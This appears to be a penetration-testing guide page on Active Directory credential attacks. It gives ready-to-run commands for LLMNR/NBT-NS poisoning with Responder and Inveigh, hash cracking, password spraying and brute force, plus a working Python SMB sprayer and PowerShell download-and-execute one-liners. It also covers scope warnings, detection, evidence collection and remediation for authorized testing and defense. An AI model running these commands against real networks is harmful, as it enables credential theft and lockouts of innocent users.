11 min read

Exploitation

Credential Attacks

Capture and crack credentials through network poisoning, password spraying, and brute force attacks against internal network services.

Danger

Scope boundary for this page. Spraying writes failed-logon events against real accounts and can lock out a shift; poisoning captures live credentials from users who did nothing wrong. Confirm three things in the Rules of Engagement before the first attempt — the permitted request rate, the accounts excluded from spraying (executives, service desks, break-glass), and who you call if an account locks. Captured credentials stay in the engagement evidence store, not in chat or a shared drive.

Tool Installation

Required Tools

Responder - LLMNR/NBT-NS/mDNS Poisoner

apt install responder

GitHub: lgandx/Responder

Kerbrute - Kerberos brute force

go install github.com/ropnop/kerbrute@latest

GitHub: ropnop/kerbrute

Inveigh - PowerShell LLMNR/NBNS

IEX (iwr https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)

GitHub: Kevin-Robertson/Inveigh

Hashcat/John - Password crackers

apt install hashcat john

Pre-installed on Kali Linux

LLMNR/NBT-NS Poisoning

When DNS resolution fails, Windows falls back to LLMNR and NBT-NS protocols which can be poisoned to capture NTLMv2 hashes.

Protocols Poisoned: LLMNR (UDP 5355), NBT-NS (UDP 137), mDNS (UDP 5353)

Impact: Capture NTLMv2 hashes for offline cracking or relay

Detection Risk: Medium - generates network traffic anomalies

Responder - Capture Hashes

responder-capture.sh
# Start Responder on interface
sudo responder -I eth0 -dwPv

# Flags explained:
# -d: Enable answers for DHCP broadcast requests (DHCP poisoning)
# -w: Enable WPAD rogue proxy
# -P: Force NTLM/Basic auth on wpad.dat file retrieval
# -v: Verbose output

# Responder with WPAD proxy (aggressive)
sudo responder -I eth0 -wFPv

# Analyze mode (passive - no poisoning)
sudo responder -I eth0 -A

# Check captured hashes
ls /usr/share/responder/logs/
cat /usr/share/responder/logs/*.txt

Information

Responder Configuration: Edit /etc/responder/Responder.conf to enable/disable specific services. Disable SMB and HTTP when using with ntlmrelayx.

Inveigh (PowerShell Alternative)

Use Inveigh when you need to run from a compromised Windows host without uploading external tools.

inveigh.ps1
# Download and import Inveigh
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1')

# Or import from disk
Import-Module .\Inveigh.ps1

# Start Inveigh with all options
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y

# Minimal footprint (LLMNR/NBNS only)
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y

# Check captured hashes
Get-Inveigh -NTLMv2
Get-Inveigh -Cleartext
Get-Inveigh -NTLMv2Unique  # Unique hashes only

# Stop Inveigh
Stop-Inveigh

# Export captured hashes to file
Get-Inveigh -NTLMv2 | Out-File hashes.txt

Tip

InveighZero: For C# version that can run via execute-assembly in Cobalt Strike, see InveighZero.

Crack Captured Hashes

Hashcat Mode Reference:

  • 5600 - NetNTLMv2 (most common)
  • 5500 - NetNTLMv1
  • 1000 - NTLM (from SAM/NTDS.dit)
  • 13100 - Kerberos TGS-REP (Kerberoast)
  • 18200 - Kerberos AS-REP (AS-REP Roast)
crack-ntlmv2.sh
# Hashcat - NTLMv2 (basic)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

# With rules (more effective)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Multiple rule files
hashcat -m 5600 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles1.rule

# Show cracked passwords
hashcat -m 5600 hashes.txt --show

# John the Ripper
john --format=netntlmv2 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --format=netntlmv2 hashes.txt --show  # Show cracked

# Combine with custom wordlist
# Generate company-specific wordlist
echo -e 'Company2024!\nCompany123\nWelcome2Company' > company_words.txt
hashcat -m 5600 hashes.txt company_words.txt -r /usr/share/hashcat/rules/best64.rule

Password Spraying

Test common passwords against many accounts while staying under lockout thresholds.

Danger

CRITICAL: Always check password policy BEFORE spraying. Account lockouts can disrupt business operations and alert defenders.

Check Password Policy First

password-policy.sh
# nxc - get password policy
nxc smb 192.168.1.100 -u '' -p '' --pass-pol
nxc smb 192.168.1.100 -u 'guest' -p '' --pass-pol

# enum4linux-ng (updated version)
enum4linux-ng -P 192.168.1.100

# enum4linux (classic)
enum4linux -P 192.168.1.100

# rpcclient (requires null session)
rpcclient -U '' -N 192.168.1.100 -c 'getdompwinfo'

# LDAP query (with credentials)
ldapsearch -x -H ldap://192.168.1.100 -D 'user@corp.local' -w 'password' -b 'DC=corp,DC=local' '(objectClass=domain)' pwdHistoryLength minPwdAge maxPwdAge minPwdLength lockoutThreshold lockoutDuration

⚠️ Safe Spraying Strategy

  1. Check lockout threshold (e.g., 5 attempts)
  2. Check lockout duration/observation window (e.g., 30 minutes)
  3. Spray ONE password, wait for lockout window to reset
  4. Spray next password, repeat
  5. For 30-min lockout window: max 1 password every 35 minutes

Spray with nxc

spray-nxc.sh
# Single password against user list
nxc smb 192.168.1.0/24 -u users.txt -p 'Summer2024!' --continue-on-success

# Multiple passwords (careful with lockout!)
nxc smb 192.168.1.100 -u users.txt -p passwords.txt --no-bruteforce

# Spray against specific services
nxc winrm 192.168.1.100 -u users.txt -p 'Password123!'
nxc ldap 192.168.1.100 -u users.txt -p 'Company2024!'

Kerbrute - Kerberos Spraying

Kerbrute uses Kerberos pre-authentication which is stealthier than SMB. Failed attempts appear as event ID 4771 (vs 4625 for SMB).

kerbrute.sh
# Download Kerbrute
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
mv kerbrute_linux_amd64 /usr/local/bin/kerbrute

# Username enumeration (no lockout risk!)
kerbrute userenum -d corp.local --dc 192.168.1.100 users.txt

# Password spray via Kerberos
kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Summer2024!'

# With delay between attempts (safer)
kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Summer2024!' --delay 100

# Brute force single user (use with caution!)
kerbrute bruteuser -d corp.local --dc 192.168.1.100 passwords.txt administrator

# Save output
kerbrute passwordspray -d corp.local --dc 192.168.1.100 users.txt 'Summer2024!' -o results.txt

Tip

Username Enumeration: Kerbrute userenum doesn't cause lockouts since it only checks if usernames exist. Use this to build a valid user list before spraying.

Spray-Passwords.ps1

Part of PowerSploit/Empire - useful for spraying from a compromised Windows host.

DomainPasswordSpray.ps1
# Download from PowerSploit
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1')

# Or use the built-in version
Import-Module .\Spray-Passwords.ps1

# Spray single password against all domain users
Invoke-DomainPasswordSpray -Password 'Summer2024!'

# Against specific user list
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 'Summer2024!'

# With delay between attempts (milliseconds)
Invoke-DomainPasswordSpray -Password 'Summer2024!' -Delay 1000

# Using password list file
Invoke-DomainPasswordSpray -PasswordList .\passwords.txt

# Output to file
Invoke-DomainPasswordSpray -Password 'Summer2024!' -OutFile spray_results.txt

Service Brute Force

Hydra

hydra.sh
# SMB brute force
hydra -L users.txt -P passwords.txt smb://192.168.1.100

# RDP brute force
hydra -L users.txt -P passwords.txt rdp://192.168.1.100

# SSH brute force
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# WinRM brute force
hydra -L users.txt -P passwords.txt http-get://192.168.1.100:5985/wsman

Medusa

medusa.sh
# SMB brute force
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M smbnt

# Multiple hosts
medusa -H hosts.txt -U users.txt -P passwords.txt -M smbnt -T 5

Common Password Patterns

password-candidates.txt
# Seasonal passwords
Summer2024!
Winter2024!
Spring2024!
Fall2024!

# Company-based
[CompanyName]2024!
[CompanyName]123
Welcome2[CompanyName]

# Common patterns
Password1!
P@ssw0rd!
Changeme1!
Qwerty123!
Admin123!

Python Spray Script

smb-spray.py
#!/usr/bin/env python3
"""Simple SMB Password Sprayer"""
from impacket.smbconnection import SMBConnection
import sys
import time

def spray(target, domain, users_file, password, delay=0):
    with open(users_file) as f:
        users = [line.strip() for line in f]
    
    print(f"[*] Spraying {password} against {len(users)} users")
    
    for user in users:
        try:
            conn = SMBConnection(target, target, timeout=3)
            conn.login(user, password, domain)
            print(f"[+] SUCCESS: {domain}\\{user}:{password}")
            conn.close()
        except Exception as e:
            if "STATUS_LOGON_FAILURE" in str(e):
                print(f"[-] Failed: {user}")
            elif "STATUS_ACCOUNT_LOCKED" in str(e):
                print(f"[!] LOCKED: {user}")
        time.sleep(delay)

if __name__ == "__main__":
    spray(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Tip

Always check password policy before spraying. A safe approach is one password attempt per user, then wait for the lockout window to reset before trying another password.

External Resources

Practice Labs

Practice credential attacks in safe, legal environments

Responder Room TryHackMe easy
LLMNR PoisoningNBT-NS Poisoning
Active Hack The Box easy
KerberoastingGPP Abuse
Resolute Hack The Box medium
Password SprayingAD Enumeration
Breaching AD TryHackMe medium
NTLM RelayPassword Spraying

Detection & Blue Team

Two different signals cover this page. Poisoning is only visible on the wire — an LLMNR or NBT-NS response arriving from a host that is not a DNS server — while spraying is a log-volume problem: 4771 if the spray went to Kerberos, 4625 if it went to SMB, and 4648 when an account authenticates with explicit credentials it was handed. A successful spray is quiet; only its failures are loud, so alert on the pattern per account and per source rather than on a single event.

Attack Event IDs Detection Approach
LLMNR/NBT-NS Poisoning Network traffic Monitor for LLMNR (UDP 5355) and NBT-NS (UDP 137) responses from non-DNS servers. Disable LLMNR/NBT-NS via GPO.
Password Spraying 4625, 4771, 4776 Multiple failed logons across many accounts from same source in short timeframe. Alert on >10 failures in 5 minutes.
AS-REP Roasting 4768 (RC4 = 0x17) Kerberos pre-auth requests with RC4 encryption from unusual sources. Audit accounts with DONT_REQUIRE_PREAUTH.
Kerberoasting 4769 (RC4 = 0x17) Spike in TGS requests for service accounts with RC4 encryption. Use AES-only for service account SPNs.

Evidence Collection

Captured response: The NetNTLMv2 line exactly as Responder or Inveigh wrote it, with source host, account and timestamp. One line per capture — a screenshot of the console does not show which account authenticated.

Poisoning proof: A pcap of the LLMNR or NBT-NS query and your forged answer, plus the name that was resolved. This is what separates "Responder was running" from "a host asked for a name and trusted the answer".

Crack result: The hashcat mode, wordlist, rules and runtime, and the recovered plaintext if it cracked. A hash that did not crack is still a finding, but the severity argument changes once you hold the password.

Spray arithmetic: The lockoutThreshold, lockoutDuration and observation window measured with --pass-pol, plus the request rate and delay you actually used. Without those numbers a spray cannot be shown to have been safe.

CVSS range: Hash capture with offline crack: 6.5–8.1 | Recovered privileged credential: 8.8–9.8 | A locked-out business account is an impact to disclose, not a vulnerability to rate

False Positive Identification

  • A capture is not a compromise: A NetNTLMv2 hash proves the protocol fallback exists on the wire. It becomes credential compromise only when it cracks or replays — write the two claims separately.
  • Locked is not cracked: STATUS_ACCOUNT_LOCKED and STATUS_LOGON_FAILURE both end a spray line, and a run that locked accounts recovered nothing. Do not carry locked accounts into the report as "potentially compromised".
  • Username enumeration is not authentication: Kerbrute userenum returns valid names from the AS-REQ error code without a password attempt; a full user list proves nothing about password strength.
  • One success is not a weak-password policy: A single account accepting a sprayed password may be a service account with a documented exception. Confirm an interactive logon and check the exception list before generalising to the estate.

Testing Checklist

Capture is cheap to claim and easy to disprove, so the order is: prove the poisoning path, prove the crack, then prove the spray stayed inside the lockout policy.

Prove the capture path

  • ☐ A broadcast name query (LLMNR or NBT-NS) appears in a pcap and the forged answer comes from your address - Responder running is not the same as a host trusting it.
  • ☐ One NetNTLMv2 line per account, with source host and timestamp, written to the log directory rather than read off the console.
  • ☐ hashcat -m 5600 is attempted on the capture; a non-crack is reported as protocol exposure, not as a recovered credential.
  • ☐ nxc smb --pass-pol returns lockoutThreshold, lockoutDuration and the observation window before any spray is sent.

Prove the spray was safe

  • ☐ Requests per account stay below the threshold within the window, and the rate and delay you used are written down.
  • ☐ --continue-on-success is used so one valid password does not end the run and hide the rest.
  • ☐ The 4625 / 4771 count after the run matches the requests you sent; a locked account is an incident to declare, not a finding.
  • ☐ kerbrute passwordspray results are split into names validated and passwords recovered - the first is enumeration, the second is compromise.

Remediation

Remove the capture path

  • • Disable LLMNR by GPO — Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution — and disable NBT-NS on every interface.
  • • Drop mDNS/WPAD where no application needs them; a capture has to land somewhere, and this is the only step that removes it.
  • • Deploy EDR that flags Responder/Inveigh behaviour — SMB and HTTP listeners naming themselves to the network — rather than relying on user reports.

Make the password worthless to an attacker

  • • Enforce a passphrase length and a banned-password list. A spray finding is almost always a policy-width finding, not a user failure.
  • • Set lockout thresholds that survive distributed spraying and alert on 4625/4771 volume per account and per source.
  • • Move service accounts to gMSA and rotate anything that was recovered during the test before the debrief.